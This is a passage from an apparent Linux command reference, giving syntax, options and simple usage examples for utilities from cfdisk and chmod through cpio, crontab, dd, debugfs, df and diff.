An arbitrary number of #elif directives are allowed between an #if, #ifdef, or #ifndef directive and an #else or #endif directive. The lines following the #elif and up to the next #else, #elif, or #endif directive will appear in the output if the preceding test directive and all intervening #elif directives evaluate to zero, and the constant-expression evaluates to nonzero. If constant-expression evaluates to nonzero, all succeeding #elif and #else directives will be ignored.

#else

Lines following this directive and up to the matching #endif will appear in the output if the preceding test directive evaluates to 0, and all intervening #elif directives evaluate to 0. No additional tokens are permitted on the directive line.

#error

Report fatal errors.

#warning

Report warnings, but then continue processing.

cfdisk

cfdisk [options] [device]

System administration command. Partition a hard disk. device may be /dev/hda (default), /dev/hdb, /dev/sda, /dev/sdb, /dev/sdc, or /dev/sdd. See also fdisk.

Options

-a

Highlight the current partition with a cursor, not reverse video.

-c cylinders

Specify the number of cylinders.

-h heads

Specify the number of heads.

-s sectors

Specify the number of sectors per track.

-z

Do not read the partition table; partition from scratch.

-P format

Display the partition table in format, which must be r (raw data), s (sector order), or t (raw format).

Commands

up arrow, down arrow

Move among partitions.

b

Toggle partition's bootable flag.

d

Delete partition (allow other partitions to use its space).

g

Alter the disk's geometry. Prompt for what to change: cylinders, heads, or sectors (c, h, or s, respectively).

h

Help.

m

Attempt to ensure maximum usage of disk space in the partition.

n

Create a new partition. Prompt for more information.

p

Display the partition table.

q

Quit without saving information.

t

Prompt for a new filesystem type, and change to that type.

u

Change the partition size units, rotating from megabytes to sectors to cylinders and back.

W

Save information. Note that this letter must be uppercase.

chattr

chattr [options] mode files

Modify file attributes. Specific to Linux Second Extended Filesystem. Behaves similarly to symbolic chmod, using +, -, and =. mode is in the form opcode attribute. See also lsattr.

Options

-R

Modify directories and their contents recursively.

-V

Print modes of attributes after changing them.

-v version

Set the file's version.

Opcodes

+

Add attribute.

-

Remove attribute.

=

Assign attributes (removing unspecified attributes).

Attributes

A

Don't update access time on modify.

a

Append only for writing. Can be set or cleared only by a privileged user.

c

Compressed.

d

No dump.

i

Immutable. Can be set or cleared only by a privileged user.

s

Secure deletion; the contents are zeroed on deletion.

u

Undeletable.

S

Synchronous updates.

Examples

chattr +a myfile     As superuser
chfn

chfn [options] [username]

Change the information that is stored in /etc/passwd and displayed when a user is fingered. Without options, chfn enters interactive mode and prompts for changes. To make a field blank, enter the keyword none. Only a privileged user can change information for another user. For regular users, chfn prompts for the user's password before making the change.

Options

-f, --full-name

Specify new full name.

-h, --home-phone

Specify new home phone number.

-o, --office

Specify new office number.

-p, --office-phone

Specify new office phone number.

-u, --help

Print help message and then exit.

-v, --version

Print version information and then exit.

Example

chfn -f "Ellen Siever" ellen
chgrp

chgrp [options] newgroup files

chgrp [options]

Change the group of one or more files to newgroup. newgroup is either a group ID number or a group name located in /etc/group. Only the owner of a file or a privileged user may change its group.

Options

-c, --changes

Print information about those files that are changed.

-f, --silent, --quiet

Do not print error messages about files that cannot be changed.

--help

Print help message and then exit.

-R, --recursive

Traverse subdirectories recursively, applying changes.

--reference=filename

Change the group to that associated with filename. In this case, newgroup is not specified.

-v, --verbose

Verbosely describe ownership changes.

--version

Print version information and then exit.

chmod

chmod [options] mode files

chmod [options] --reference=filename files

Change the access mode (permissions) of one or more files. Only the owner of a file or a privileged user may change its mode. mode can be numeric or an expression in the form of who opcode permission. who is optional (if omitted, default is a); choose only one opcode. Multiple modes may be specified, separated by commas.

Options

-c, --changes

Print information about files that are changed.

-f, --silent, --quiet

Do not notify user of files that chmod cannot change.

--help

Print help message and then exit.

-R, --recursive

Traverse subdirectories recursively, applying changes.

--reference=filename

Change permissions to those associated with filename.

-v, --verbose

Print information about each file, whether changed or not.

--version

Print version information and then exit.

Who

u

User

g

Group

o

Other

a

All (default)

Opcode

+

Add permission.

-

Remove permission.

=

Assign permission (and remove permission of the unspecified fields).

Permissions

r

Read.

w

Write.

x

Execute.

s

Set user (or group) ID.

t

Sticky bit; save text (file) mode or prevent removal of files by nonowners (directory).

u

User's present permission.

g

Group's present permission.

o

Other's present permission.

Alternatively, specify permissions by a three-digit octal number. The first digit designates owner permission; the second, group permission; and the third, other's permission. Permissions are calculated by adding the following octal values:

4

Read.

2

Write.

1

Execute.

Note: A fourth digit may precede this sequence. This digit assigns the following modes:

4

Set user ID on execution to grant permissions to process based on file's owner, not on permissions of user who created the process.

2

Set group ID on execution to grant permissions to process based on the file's group, not on permissions of user who created the process.

1

Set sticky bit.

Examples

Add execute-by-user permission to file:

chmod u+x file

Either of the following will assign read/write/execute permission by owner (7), read/execute permission by group (5), and execute-only permission by others (1) to file:

chmod 751 file
chmod u=rwx,g=rx,o=x file

Any one of the following will assign read-only permission to file for everyone:

chmod =r file
chmod 444 file
chmod a-wx,a+r file

Set the user ID, assign read/write/execute permission by owner, and assign read/execute permission by group and others:

chmod 4755 file
chown

chown [options] newowner files

chown [options] --reference=filename files

Change the ownership of one or more files to newowner. newowner is either a user ID number or a login name located in /etc/passwd. chown also accepts users in the form newowner:newgroup or newowner.newgroup. The last two forms change the group ownership as well. If no owner is specified, the owner is unchanged. With a period or colon but no group, the group is changed to that of the new owner. Only the current owner of a file or a privileged user may change its owner.

Options

-c, --changes

Print information about those files that are changed.

--dereference

Follow symbolic links.

-f, --silent, --quiet

Do not print error messages about files that cannot be changed.

-h, --no-dereference

Change the ownership of each symbolic link (on systems that allow it), rather than the referenced file.

-v, --verbose

Print information about all files that chown attempts to change, whether or not they are actually changed.

-R, --recursive

Traverse subdirectories recursively, applying changes.

--reference=filename

Change owner to the owner of filename instead of specifying a new owner explicitly.

--help

Print help message and then exit.

--version

Print version information and then exit.

chpasswd

chpasswd [option]

System administration command. Change user passwords in a batch. chpasswd accepts input in the form of one username:password pair per line. If the -e option is not specified, password will be encrypted before being stored.

Option

-e

Passwords given are already encrypted.

chroot

chroot newroot [command]

System administration command. Change root directory for command or, if none is specified, for a new copy of the user's shell. This command or shell is executed relative to the new root. The meaning of any initial / in pathnames is changed to newroot for a command and any of its children. In addition, the initial working directory is newroot. This command is restricted to privileged users.

chsh

chsh [options] [username]

Change your login shell, interactively or on the command line. Warn if shell does not exist in /etc/shells. Specify the full path to the shell. chsh prompts for your password. Only a privileged user can change another user's shell.

Options

-l, --list-shells

Print valid shells, as listed in /etc/shells, and then exit.

-s shell, --shell shell

Specify new login shell.

-u, --help

Print help message and then exit.

-v, --version

Print version information and then exit.

Example

chsh -s /bin/tcsh
cksum

cksum [files]

Compute a cyclic redundancy check (CRC) checksum for all files; used to ensure that a file was not corrupted during transfer. Read from standard input if the character - or no files are given. Display the resulting checksum, the number of bytes in the file, and (unless reading from standard input) the filename.

clear

clear

Clear the terminal display.

cmp

cmp [options] file1 file2 [skip1 [skip2]]

Compare file1 with file2. Use standard input if file1 is - or missing. See also comm and diff. Files can be of any type. skip1 and skip2 are optional offsets in the files at which the comparison is to start.

Options

-c, --print-chars

Print differing bytes as characters.

-i num, --ignore-initial=num

Ignore the first num bytes of input.

-l, --verbose

Print offsets and codes of all differing bytes.

-s, --quiet, --silent

Work silently; print nothing, but return exit codes:

0

Files are identical.

1

Files are different.

2

Files are inaccessible.

Example

Print a message if two files are the same (exit code is 0):

cmp -s old new && echo 'no changes'
col

col [options]

A postprocessing filter that handles reverse linefeeds and escape characters, allowing output from tbl or nroff to appear in reasonable form on a terminal.

Options

-b

Ignore backspace characters; helpful when printing manpages.

-f

Process half-line vertical motions, but not reverse line motion. (Normally, half-line input motion is displayed on the next full line.)

-l n

Buffer at least n lines in memory. The default buffer size is 128 lines.

-x

Normally, col saves printing time by converting sequences of spaces to tabs. Use -x to suppress this conversion.

Examples

Run myfile through tbl and nroff, then capture output on screen by filtering through col and more:

tbl myfile | nroff | col | more

Save manpage output for the ls command in out.print, stripping out backspaces (which would otherwise appear as ^H):

man ls | col -b > out.print
colcrt

colcrt [options] [files]

A postprocessing filter that handles reverse linefeeds and escape characters, allowing output from tbl or nroff to appear in reasonable form on a terminal. Put half-line characters (e.g., subscripts or superscripts) and underlining (changed to dashes) on a new line between output lines.

Options

-

Do not underline.

-2

Double space by printing all half-lines.

colrm

colrm [start [stop]]

Remove specified columns from a file, where a column is a single character in a line. Read from standard input and write to standard output. Columns are numbered starting with 1; begin deleting columns at (including) the start column, and stop at (including) the stop column. Entering a tab increments the column count to the next multiple of either the start or stop column; entering a backspace decrements it by 1.

Example

colrm 3 5 < test1 > test2
column

column [options] [files]

Format input from one or more files into columns, filling rows first. Read from standard input if no files are specified.

Options

-c num

Format output into num columns.

-s char

Delimit table columns with char. Meaningful only with -t.

-t

Format input into a table. Delimit with whitespace, unless an alternate delimiter has been provided with -s.

-x

Fill columns before filling rows.

comm

comm [options] file1 file2

Compare lines common to the sorted files file1 and file2. Three-column output is produced: lines unique to file1, lines unique to file2, and lines common to both files. comm is similar to diff in that both commands compare two files. But comm can also be used like uniq; that is, comm selects duplicate or unique lines between two sorted files, whereas uniq selects duplicate or unique lines within the same sorted file.

Options

-

Read the standard input.

-num

Suppress printing of column num. Multiple columns may be specified and should not be space-separated.

--help

Print help message and exit.

--version

Print version information and exit.

Example

Compare two lists of top-10 movies, and display items that appear in both lists:

comm -12 siskel_top10 ebert_top10

compress

compress [options] files

Compress one or more files, replacing each with the compressed file of the same name with .Z appended. If no file is specified, compress standard input. Each file specified is compressed separately. compress ignores files that are symbolic links. See also gzip.

Options

-b maxbits

Limit the maximum number of bits.

-c

Write output to standard output, not to a .Z file.

-d

Decompress instead of compressing. Same as uncompress.

-f

Force generation of an output file even if one already exists.

-r

If any of the specified files is a directory, compress recursively.

-v

Print compression statistics.

-V

Print version and compilation information and then exit.

cp

cp [options] file1 file2

cp [options] files directory

Copy file1 to file2, or copy one or more files to the same names under directory. If the destination is an existing file, the file is overwritten; if the destination is an existing directory, the file is copied into the directory (the directory is not overwritten).

Options

-a, --archive

Preserve attributes of original files where possible. Same as -dpR.

-b, --backup

Back up files that would otherwise be overwritten.

-d, --no-dereference

Do not dereference symbolic links; preserve hard link relationships between source and copy.

-f, --force

Remove existing files in the destination.

-i, --interactive

Prompt before overwriting destination files.

-l, --link

Make hard links, not copies, of nondirectories.

-p, --preserve

Preserve all information, including owner, group, permissions, and timestamps.

-P, --parents

Preserve intermediate directories in source. The last argument must be the name of an existing directory. For example, the command:

cp --parents jphekman/book/ch1 newdir
copies the file jphekman/book/ch1 to the file newdir/jphekman/book/ch1, creating intermediate directories as necessary.

-r, -R, --recursive

Copy directories recursively.

-S backup-suffix, --suffix=backup-suffix

Set suffix to be appended to backup files. This may also be set with the SIMPLE_BACKUP_SUFFIX environment variable. The default is ~. You need to explicitly include a period if you want one before the suffix (e.g., specify .bak, not bak).

-s, --symbolic-link

Make symbolic links instead of copying. Source filenames must be absolute.

-u, --update

Do not copy a file to an existing destination with the same or newer modification time.

-v, --verbose

Before copying, print the name of each file.

-V type, --version-control=type

Set the type of backups made. You may also use the VERSION_CONTROL environment variable. The default is existing. Valid arguments are:

t, numbered

Always make numbered backups.

nil, existing

Make numbered backups of files that already have them; otherwise, make simple backups.

never, simple

Always make simple backups.

-x, --one-file-system

Ignore subdirectories on other filesystems.

cpio

cpio flags [options]

Copy file archives in from or out to tape or disk, or to another location on the local machine. Each of the three flags -i, -o, or -p accepts different options.

Flags

-i, --extract [options] [patterns]

Copy in (extract) from an archive files whose names match selected patterns. Each pattern can include Bourne shell filename metacharacters. (Patterns should be quoted or escaped so they are interpreted by cpio, not by the shell.) If pattern is omitted, all files are copied in. Existing files are not overwritten by older versions from the archive unless -u is specified.

-o, --create [options]

Copy out to an archive a list of files whose names are given on the standard input.

-p, --pass-through [options] directory

Copy (pass) files to another directory on the same system. Destination pathnames are interpreted relative to the named directory.

Comparison of valid options

Options available to the -i, -o, and -p flags are shown here. (The - is omitted for clarity):

i:   bcdf mnrtsuv B SVCEHMR IF
o: 0a c         vABL VC HM O F
p: 0a  d lm    uv  L V    R

Options

-0, --null

Expect list of filenames to be terminated with null, not newline. This allows files with a newline in their names to be included.

-a, --reset-access-time

Reset access times of input files after reading them.

-A, --append

Append files to an existing archive, which must be a disk file. Specify this archive with -O or -F.

-b, --swap

Swap bytes and half-words to convert between big-endian and little-endian 32-bit integers.

-B

Block input or output using 5120 bytes per record (default is 512 bytes per record).

--blocksize=size

Set input or output blocksize to size × 512 bytes.

-c

Read or write header information as ASCII characters; useful when source and destination machines are different types.

-C n, --io-size=n

Like -B, but blocksize can be any positive integer n.

-d, --make-directories

Create directories as needed.

-E file, --pattern-file=file

Extract filenames from the archives that match patterns in file.

-f, --nonmatching

Reverse the sense of copying; copy all files except those that match patterns.

-F file, --file=file

Use file as the archive, not stdin or stdout. file can reside on another machine, if given in the form user@hostname:file (where user@ is optional).

--force-local

Assume that file (provided by -F, -I, or -O) is a local file, even if it contains a colon (:) indicating a remote file.

-H type, --format=type

Use type format. Default for copy-out is bin; for copy-in the default is autodetection of the format. Valid formats (all caps also accepted) are:

bin

Binary

odc

Old (POSIX.1) portable format

newc

New (SVR4) portable format

crc

New (SVR4) portable format with checksum added

tar

Tar

ustar

POSIX.1 tar (also recognizes GNU tar archives)

hpbin

HP-UX's binary (obsolete)

hpodc

HP-UX's portable format

-I file

Read file as an input archive. May be on a remote machine (see -F).

-k

Ignored. For backward compatibility.

-l, --link

Link files instead of copying.

-L, --dereference

Follow symbolic links.

-m, --preserve-modification-time

Retain previous file modification time.

-M msg, --message=msg

Print msg when switching media, as a prompt before switching to new media. Use variable %d in the message as a numeric ID for the next medium. -M is valid only with -I or -O.

-n, --numeric-uid-gid

When verbosely listing contents, show user ID and group ID numerically.

--no-absolute-filenames

Create all copied-in files relative to the current directory.

--no-preserve-owner

Make all copied files owned by yourself, instead of the owner of the original. Useful only if you are a privileged user.

-O file

Archive the output to file, which may be a file on another machine (see -F).

--only-verify-crc

For a CRC-format archive, verify the CRC of each file; don't actually copy the files in.

--quiet

Don't print the number of blocks copied.

-r

Rename files interactively.

-R [user][:group], --owner [user][:group]

Reassign file ownership and group information to the user's login ID (privileged users only).

-s, --swap-bytes

Swap bytes of each two-byte half-word.

-S, --swap-half-words

Swap half-words of each four-byte word.

--sparse

For copy-out and copy-pass, write files that have large blocks of zeros as sparse files.

-t, --list

Print a table of contents of the input (create no files). When used with the -v option, resembles output of ls -l.

-u, --unconditional

Unconditional copy; old files can overwrite new ones.

-v, --verbose

Print a list of filenames processed.

-V, --dot

Print a dot for each file read or written (this shows cpio at work without cluttering the screen).

--version

Print version number and then exit.

Examples

Generate a list of files whose names end in .old using find; use list as input to cpio:

find . -name "*.old" -print | cpio -ocBv > /dev/rst8

Restore from a tape drive all files whose names contain save (subdirectories are created if needed):

cpio -icdv "*save*" < /dev/rst8

Move a directory tree:

find . -depth -print | cpio -padm /mydir

cron

cron

System administration command. Normally started in a system startup file. Execute commands at scheduled times, as specified in users' files in /var/cron/tabs. Each file shares its name with the user who owns it. The files are controlled via the command crontab.

crontab

crontab [options] [file]

View, install, or uninstall your current crontab file. A privileged user can run crontab for another user by supplying -u user. A crontab file is a list of commands, one per line, that will execute automatically at a given time. Numbers are supplied before each command to specify the execution time. The numbers appear in five fields, as follows:

Minute       0-59

Hour         0-23

Day of month 1-31

Month        1-12
              Jan, Feb, Mar, ...

Day of week   0-6, with 0 = Sunday
             Sun, Mon, Tue, ...

Use a comma between multiple values, a hyphen to indicate a range, and an asterisk to indicate all possible values. For example, assuming these crontab entries:

59 3 * * 5     find / -print | backup_program
0 0 1,15 * *   echo "Timesheets due" | mail user

The first command backs up the system files every Friday at 3:59 a.m., and the second command mails a reminder on the 1st and 15th of each month.

The superuser can always issue the crontab command. Other users must be listed in the file /etc/cron.allow if it exists; otherwise, they must not be listed in /etc/cron.deny. If neither file exists, only the superuser can issue the command.

Options

The -e, -l, and -r options are not valid if any files are specified.

-e

Edit the user's current crontab file (or create one).

-l

Display the user's crontab file on standard output.

-r

Delete the user's crontab file.

-u user

Indicates which user's crontab file will be acted upon.

csh

csh [options] [file [arguments]]

C shell, a command interpreter into which all other commands are entered. For more information, see Chapter 8, "csh and tcsh".

csplit

csplit [options] file arguments

Separate file into context-based sections and place sections in files named xx00 through xxn (n < 100), breaking file at each pattern specified in arguments. See also split.

Options

-

Read from standard input.

-b suffix, --suffix-format=suffix

Append suffix to output filename. This option causes -n to be ignored. suffix must specify how to convert the binary integer to readable form by including exactly one of the following: %d, %i, %u, %o, %x, or %X. The value of suffix determines the format for numbers as follows:

%d

Signed decimal

%i

Same as %d

%u

Unsigned decimal

%o

Octal

%x

Hexadecimal

%X

Same as %x.

-f prefix, --prefix=prefix

Name new files prefix 00 through prefixn (default is xx00 through xx n).

-k, --keep-files

Keep newly created files, even when an error occurs (which would normally remove these files). This is useful when you need to specify an arbitrarily large repeat argument, {n}, and you don't want an out-of-range error to cause removal of the new files.

-n num, --digits=num

Use output filenames with numbers num digits long. The default is 2.

-s, -q, --silent, --quiet

Suppress all character counts.

-z, --elide-empty-files

Do not create empty output files. However, number as if those files had been created.

Arguments

Any one or a combination of the following expressions may be specified as arguments. Arguments containing blanks or other special characters should be surrounded by single quotes.

/expr/[offset]

Create file from the current line up to the line containing the regular expression expr. offset should be of the form +n or -n, where n is the number of lines below or above expr.

%expr%[offset]

Same as /expr/ except no file is created for lines previous to line containing expr.

num

Create file from current line up to (but not including) line number num. When followed by a repeat count (number inside {}), put the next num lines of input into another output file.

{n}

Repeat argument n times. May follow any of the preceding arguments. Files will split at instances of expr or in blocks of num lines. If * is given instead of n, repeat argument until input is exhausted.

Examples

Create up to 20 chapter files from the file novel:

csplit -k -f chap. novel '/CHAPTER/' '{20}'

Create up to 100 address files (xx00 through xx99), each four lines long, from a database named address_list:

csplit -k address_list 4 {99}
ctags

ctags [options] files

Create a list of function and macro names that are defined in the specified C, C++, FORTRAN, Java, Perl, yacc, or other source files. The output list (named tags by default) contains lines of the form:

name     file     context

where name is the function or macro name, file is the source file in which name is defined, and context is a search pattern that shows the line of code containing name. After the list of tags is created, you can invoke vi on any file and type:

:set tags=tagsfile
:tag name

This switches the vi editor to the source file associated with the name listed in tagsfile (which you specify with -t).

etags produces an equivalent file for tags to be used with Emacs.

Options

-a, --append

Append tag output to existing list of tags.

-d, --defines

Include tag entries for C preprocessor definitions.

-i file, --include=file

Add a note to the tags file that file should be consulted in addition to the normal input file.

-l language, --language=language

Consider the files that follow this option to be written in language. Use the -h option for a list of languages and their default filename extensions.

-o file, --output=file

Write to file.

-r regexp, --regex=regexp

Include a tag for each line that matches regexp in the files following this option.

-R, --no-regex

Don't include tags based on regular-expression matching for the files that follow this option.

-t, --typedefs

Include tag entries for typedefs.

-u, --update

Update tags file to reflect new locations of functions (e.g., when functions are moved to a different source file). Old tags are deleted; new tags are appended.

-v, --vgrind

Print to standard output a listing (index) of each function, source file, and page number (1 page = 64 lines).

-w, --no-warn

Suppress warning messages.

-x, --cxref

Produce a listing of each function, and its line number, source file, and context.

-B, --backward-search

Search for tags backward through files.

-C, --c++

Expect .c and .h files to contain C++, not C, code.

-H, -h, --help

Print usage information and exit.

-S, --ignore-indentation

Normally ctags uses indentation to parse the tag file; this option tells it to rely on it less.

-T, --typedefs-and-c++

Include tag entries for typedefs, structs, enums, unions, and C++ member functions.

-V, --version

Print the version number and exit.

cut

cut options [files]

Cut out selected columns or fields from one or more files. In the following options, list is a sequence of integers. Use a comma between separate values and a hyphen to specify a range (e.g., 1-10,15,20 or 50-). See also paste and join.

Options

-b list, --bytes list

Specify list of positions; only bytes in these positions will be printed.

-c list, --characters list

Cut the column positions identified in list.

-d c, --delimiter c

Use with -f to specify field delimiter as character c (default is tab); special characters (e.g., a space) must be quoted.

-f list, --fields list

Cut the fields identified in list.

-n

Don't split multibyte characters.

-s, --only-delimited

Use with -f to suppress lines without delimiters.

--output-delimiter=string

Use string as the output delimiter. By default, the output delimiter is the same as the input delimiter.

--help

Print help message and then exit.

--version

Print version information and then exit.

Examples

Extract usernames and real names from /etc/passwd:

cut -d: -f1,5 /etc/passwd

Find out who is logged on, but list only login names:

who | cut -d"" -f1

Cut characters in the fourth column of file, and paste them back as the first column in the same file:

cut -c4 file | paste - file
date

date [options] [+format] [date]

Print the current date and time. You may specify a display format. format can consist of literal text strings (blanks must be quoted) as well as field descriptors, whose values will appear as described in the following entries (the listing shows some logical groupings). A privileged user can change the system's date and time.

Options

+format

Display current date in a nonstandard format. For example:

% date +"%A %j %n%k %p"
Tuesday 248
15 PM

The default is %a %b %e %T %Z %Y -- e.g., Tue Sep 5 14:59:37 EDT 2000.

-d date, --date date

Display date, which should be in quotes and may be in the format d days or m months d days to print a date in the future. Specify ago to print a date in the past. You may include formatting (see the "Format" section that follows).

-f datefile, --file=datefile

Like -d but printed once for each line of datefile.

-I [timespec], --iso-8601[=timespec]

Display in ISO-8601 format. If specified, timespec can have one of the values date (for date only), hours, minutes, or seconds to get the indicated precision.

-r file, --reference=file

Display the time file was last modified.

-R, --rfc-822

Display the date in RFC 822 format.

--help

Print help message and exit.

--version

Print version information and exit.

-s date, --set date

Set the date.

-u, --universal

Set the date to Greenwich Mean Time, not local time.

Format

%

Literal %.

-

Do not pad fields (default: pad fields with zeros).

_

Pad fields with space (default: zeros).

%a

Abbreviated weekday.

%b

Abbreviated month name.

%c

Country-specific date and time format.

%d

Day of month (01-31).

%h

Same as %b.

%j

Julian day of year (001-366).

%k

Hour in 24-hour format, without leading zeros (0-23).

%l

Hour in 12-hour format, without leading zeros (1-12).

%m

Month of year (01-12).

%n

Insert a new line.

%p

String to indicate AM or PM.

%r

Time in %I:%M:%S %p (12-hour) format.

%s

Seconds since "The Epoch," 1970-01-01 00:00:00 UTC (a nonstandard extension).

%t

Insert a tab.

%w

Day of week (Sunday = 0).

%x

Country-specific date format.

%y

Last two digits of year (00-99).

%z

RFC 822-style numeric time zone.

%A

Full weekday.

%B

Full month name.

%D

Date in %m/%d/%y format.

%H

Hour in 24-hour format (00-23).

%I

Hour in 12-hour format (01-12).

%M

Minutes (00-59).

%S

Seconds (00-59).

%T

Time in %H:%M:%S format.

%U

Week number in year (00-53); start week on Sunday.

%V

Week number in year (01-52); start week on Monday.

%W

Week number in year (00-53); start week on Monday.

%X

Country-specific time format.

%Y

Four-digit year (e.g., 1996).

%Z

Time zone name.

Strings for setting date

Strings for setting the date may be numeric or nonnumeric. Numeric strings consist of time, day, and year in the format MMDDhhmm[[CC]YY][.ss]. Nonnumeric strings may include month strings, time zones, a.m., and p.m.

time

A two-digit hour and two-digit minute (hhmm); hh uses 24-hour format.

day

A two-digit month and two-digit day of month (MMDD); default is current day and month.

year

The year specified as either the full four-digit century and year or just the two-digit year; the default is the current year.

Examples

Set the date to July 1 (0701), 4 a.m. (0400), 1995 (95):

date 0701040095

The command:

date +"Hello%t Date is %D %n%t Time is %T"

produces a formatted date as follows:

Hello     Date is 05/09/93
     Time is 17:53:39
dd

dd options

Make a copy of an input file (if) using the specified conditions, and send the results to the output file (or standard output if of is not specified). Any number of options can be supplied, although if and of are the most common and are usually specified first. Because dd can handle arbitrary blocksizes, it is useful when converting between raw physical devices.

Options

bs=n

Set input and output blocksize to n bytes; this option overrides ibs and obs.

cbs=n

Set the size of the conversion buffer (logical record length) to n bytes. Use only if the conversion flag is ascii, ebcdic, ibm, block, or unblock.

conv=flags

Convert the input according to one or more (comma-separated) flags listed next. The first five flags are mutually exclusive.

ascii

EBCDIC to ASCII.

ebcdic

ASCII to EBCDIC.

ibm

ASCII to EBCDIC with IBM conventions.

block

Variable-length records (i.e., those terminated by a newline) to fixed-length records.

unblock

Fixed-length records to variable-length.

lcase

Uppercase to lowercase.

ucase

Lowercase to uppercase.

noerror

Continue processing after read errors.

notrunc

Don't truncate output file.

swab

Swap each pair of input bytes.

sync

Pad input blocks to ibs with trailing zeros.

count=n

Copy only n input blocks.

ibs=n

Set input blocksize to n bytes (default is 512).

if=file

Read input from file (default is standard input).

obs=n

Set output blocksize to n bytes (default is 512).

of=file

Write output to file (default is standard output).

seek=n

Skip n output-sized blocks from start of output file.

skip=n

Skip n input-sized blocks from start of input file.

--help

Print help message and then exit.

--version

Print the version number and then exit.

You can multiply size values (n) by a factor of 1024, 512, or 2 by appending the letter k, b, or w, respectively. You can use the letter x as a multiplication operator between two numbers.

Examples

Convert an input file to all lowercase:

dd if=caps_file of=small_file conv=lcase

Retrieve variable-length data; write it as fixed-length to out:

data_retrieval_cmd | dd of=out conv=sync,block

debugfs

debugfs [[option] device]

System administration command. Debug an ext2 filesystem. device is the special file corresponding to the device containing the ext2 filesystem (e.g., /dev/hda3).

Option

-w

Open the filesystem read-write.

Commands

cat file

Dump the contents of an inode to standard output.

cd directory

Change the current working directory to directory.

chroot directory

Change the root directory to be the specified inode.

close

Close the currently open filesystem.

clri file

Clear the contents of the inode corresponding to file.

dump file out_file

Dump the contents of an inode to out_file.

expand_dir directory

Expand directory.

find_free_block [goal]

Find first free block starting from goal (if specified) and allocate it.

find_free_inode [dir [mode]]

Find a free inode and allocate it.

freeb block

Mark block as not allocated.

freei file

Free the inode corresponding to file.

help

Print a list of commands understood by debugfs.

icheck block

Do block-to-inode translation.

initialize device blocksize

Create an ext2 filesystem on device.

kill_file file

Remove file and deallocate its blocks.

ln source_file dest_file

Create a link.

ls [pathname]

Emulate the ls command.

modify_inode file

Modify the contents of the inode corresponding to file.

mkdir directory

Make directory.

mknod file [p|[[c|b] major minor]]

Create a special device file.

ncheck inode

Do inode-to-name translation.

open [-w] device

Open a filesystem.

pwd

Print the current working directory.

quit

Quit debugfs.

rm file

Remove file.

rmdir directory

Remove directory.

setb block

Mark block as allocated.

seti file

Mark in use the inode corresponding to file.

show_super_stats

List the contents of the super block.

stat file

Dump the contents of the inode corresponding to file.

testb block

Test whether block is marked as allocated.

testi file

Test whether the inode corresponding to file is marked as allocated.

unlink file

Remove a link.

write source_file file

Create a file in the filesystem named file, and copy the contents of source_file into the destination file.

depmod

depmod [options] modules

System administration command. Create a dependency file for the modules given on the command line. This dependency file can be used by modprobe to automatically load the relevant modules. The normal use of depmod is to include the line /sbin/depmod -a in one of the files in /etc/rc.d so the correct module dependencies will be available after booting the system.

Options

-a

Create dependencies for all modules listed in /etc/conf.modules.

-d

Debug mode. Show all commands being issued.

-e

Print a list of all unresolved symbols.

-v

Print a list of all processed modules.

Files

/etc/conf.modules

Information about modules: which ones depend on others, and which directories correspond to particular types of modules.

/sbin/insmod, /sbin/rmmod

Programs that depmod relies on.

df

df [options] [name]

Report the amount of free disk space available on all mounted filesystems or on the given name. (df cannot report on unmounted filesystems.) Disk space is shown in 1KB blocks (default) or 512-byte blocks (if the environment variable POSIXLY_CORRECT is set). name can be a device name (e.g., /dev/hd*), the directory name of a mounting point (e.g., /usr), or a directory name (in which case df reports on the entire filesystem in which that directory is mounted).

Options

-a, --all

Include empty filesystems (those with 0 blocks).

--block-size=n

Show space as n-byte blocks.

-h, --human-readable

Print sizes in a format friendly to human readers (e.g., 1.9G instead of 1967156).

-H, --si

Like -h, but show as power of 1000 rather than 1024.

-i, --inodes

Report free, used, and percent-used inodes.

-k, --kilobytes

Print sizes in kilobytes.

-l, --local

Show local filesystems only.

-m, --megabytes

Print sizes in megabytes.

--no-sync

Show results without invoking sync first (i.e., without flushing the buffers). This is the default.

-P, --portability

Use POSIX output format (i.e., print information about each filesystem on exactly one line).

--sync

Invoke sync (flush buffers) before getting and showing sizes.

-t type, --type=type

Show only type filesystems.

-T, --print-type

Print the type of each filesystem in addition to the sizes.

-x type, --exclude-type=type

Show only filesystems that are not of type type.

--help

Print help message and then exit.

--version

Print the version and then exit.

diff

diff [options] [diroptions] file1 file2

Compare two text files. diff reports lines that differ between file1 and file2. Output consists of lines of context from each file, with file1 text flagged by a < symbol and file2 text by a > symbol. Context lines are preceded by the ed command (a, c, or d) that would be used to convert file1 to file2. If one of the files is -, standard input is read. If one of the files is a directory, diff locates the filename in that directory corresponding to the other argument (e.g., diff my_dir junk is the same as diff my_dir/junk junk). If both arguments are directories, diff reports lines that differ between all pairs of files having equivalent names (e.g., olddir/program and newdir/program); in addition, diff lists filenames unique to one directory, as well as subdirectories common to both. See also cmp.

Options

-a, --text

Treat all files as text files. Useful for checking to see if binary files are identical.

-b, --ignore-space-change

Ignore repeating blanks and end-of-line blanks; treat successive blanks as one.

-B, --ignore-blank-lines

Ignore blank lines in files.

-c

Context diff: print 3 lines surrounding each changed line.

-C n, --context[=n]

Context diff: print n lines surrounding each changed line. The default context is 3 lines.

-d, --minimal

To speed up comparison, ignore segments of numerous changes and output a smaller set of changes.

-D symbol, --ifdef=symbol

When handling C files, create an output file that contains all the contents of both input files, including #ifdef and #ifndef directives that reflect the directives in both files.

-e, --ed

Produce a script of commands (a, c, d) to re-create file2 from file1 using the ed editor.

-F regexp, --show-function-line[=regexp]

For context and unified diff, show the most recent line containing regexp before each block of changed lines.

-H

Speed output of large files by scanning for scattered small changes; long stretches with many changes may not show up.

--help

Print brief usage message.

--horizon-lines=n

In an attempt to find a more compact listing, keep n lines on both sides of the changed lines when performing the comparison.

-i, --ignore-case

Ignore case in text comparison. Uppercase and lowercase are considered the same.

-I regexp, --ignore-matching-lines=regexp

Ignore lines in files that match the regular expression regexp.

-l, --paginate

Paginate output by passing it to pr.

-L label, --label label, --label=label

For context and unified diff, print label in place of the filename being compared. The first such option applies to the first filename and the second option to the second filename.

--left-column

For two-column output (-y), show only left column of common lines.

-n, --rcs

Produce output in RCS diff format.

-N, --new-file

Treat nonexistent files as empty.

-p, --show-c-function

When handling files in C or C-like languages such as Java, show the function containing each block of changed lines. Assumes -c but can also be used with a unified diff.

-P, --unidirectional-new-file

If two directories are being compared and the first lacks a file that is in the second, pretend that an empty file of that name exists in the first directory.

-q, --brief

Output only whether files differ.

-r, --recursive

Compare subdirectories recursively.

-s, --report-identical-files

Indicate when files do not differ.

-S filename, --starting-file=filename

